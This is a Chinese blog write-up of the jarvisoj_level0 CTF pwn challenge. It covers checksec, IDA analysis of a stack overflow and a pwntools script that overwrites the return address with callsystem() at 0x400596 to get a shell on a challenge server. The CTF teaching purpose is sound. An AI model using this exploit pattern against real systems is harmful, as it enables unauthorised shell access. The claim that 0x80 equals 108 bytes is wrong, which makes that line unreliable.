jarvisoj_level0


一、查看文件信息

先file ./level0查看文件类型再checksec --file=level0检查一下文件保护情况。
在这里插入图片描述
在这里插入图片描述
我还是觉得查看保护机制在gdb里顺眼一点:
在这里插入图片描述
信息就了解他是64位即可。

二、IDA反编译

main函数信息:
在这里插入图片描述这里再去看vulnerable_function()函数:
在这里插入图片描述
双击vulnerable_function()函数可以看到buf的长度只有0x80,即可用栈大小只有108字节,但是read()并没有限制输入,显然存在栈溢出漏洞。
在这里插入图片描述在Functions window可以看到有一个callsystem()函数,按F5反汇编可以看到这是一个系统调用,且callsystem()函数的起始地址为0x400596。
在这里插入图片描述在这里插入图片描述

三、代码构造

buf需覆盖0x80个字节覆盖,再加上rbp的0x8个字节,最后加上callsystem()函数的起始地址0x400596构成payload。

from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 28566)
payload = b'a'*(0x80 + 0x8) + p64(0x400596)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

长街395

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值